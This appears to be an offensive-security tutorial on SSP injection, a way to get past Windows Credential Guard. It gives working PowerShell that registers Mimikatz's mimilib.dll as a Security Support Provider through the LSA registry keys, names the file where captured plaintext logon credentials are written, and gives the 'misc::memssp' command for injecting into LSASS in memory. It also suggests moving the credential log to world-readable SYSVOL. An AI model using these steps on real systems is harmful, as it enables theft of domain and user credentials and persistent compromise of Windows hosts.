SSP Injection

Windows authentication is built on the Security Support Provider Interface (SSPI), which delegates auth tasks to various Security Support Providers (SSPs) like NTLM, Kerberos, WDigest, and CredSSP. These SSPs are implemented as DLLs loaded into the Local Security Authority Subsystem Service process (LSASS), which manages credential storage and authentication on behalf of the OS.

Credential Guard is a Windows security feature that protects cached credentials by isolating them from LSASS using virtualization. It relies on Virtualization-Based Security (VBS), which creates two separate trust levels: VTL0 (where the OS and LSASS run) and VTL1 (a protected space where sensitive components like LSAISO.exe reside). When Credential Guard is enabled, domain credentials are isolated in VTL1 and only accessible to LSAISO.exe, while LSASS continues to run in VTL0. This isolation prevents tools like Mimikatz from dumping domain creds — though local account hashes remain exposed.

mimikatz # sekurlsa::logonpasswords

Session           : RemoteInteractive from 4
User Name         : Administrator
           * LSA Isolated Data: NtlmHash
             Encrypted : 6ad536994213cea0d0b4ff783b8eeb51e5a156e058a36e9dfa8811396e15555d40546e8e1941cbfc32e8905ff705181214f8ec5c

However, Credential Guard doesn't block credential flow through LSASS during login. This creates a gap: by registering or injecting a custom SSP into LSASS, attackers can intercept plaintext credentials at login — before they’re protected — for users logging in interactively or via RDP/WinRM. Mimikatz provides a custom SSP (mimilib.dll) that logs cleartext credentials of all local logons, service accounts, and remote sessions. It can be deployed in two main ways:

Registry Based

To deploy it persistently, the DLL is dropped to c:\windows\system32 and registered via the Security Packages registry key. This method is more reliable that LSASS injection, but is on-disk and modifies registry keys:

# Retrieve the current list of registered SSPs from the OSConfig registry path
$packages = Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\' -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages'

# Add the custom SSP "mimilib" to the list
$packages += "mimilib"

# Update the OSConfig registry key with the modified list, registering the new SSP
Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\' -Name 'Security Packages' -Value $packages

# Update the main LSA registry key to ensure the custom SSP is recognized (some systems use this path)
Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\' -Name 'Security Packages' -Value $packages

After the host is rebooted, the credentials are logged to:

C:\Windows\System32\mimilsa.log

LSASS Injection

This method injects the SSP directly into LSASS without writing to disk or requiring a reboot, though this is less stable on newer systems like Server 2019/2022:

mimikatz # misc::memssp

The main downside of this technique is that it requires Domain Admin privileges — both to register or inject the custom SSP and to retrieve the captured credentials from C:\Windows\System32. This can be partially mitigated by modifying Mimikatz to write logs to a world-readable location like SYSVOL. Additionally, the attack significantly weakens system security and introduces substantial forensic artifacts, particularly through registry modifications and potential kernel-mode driver installation.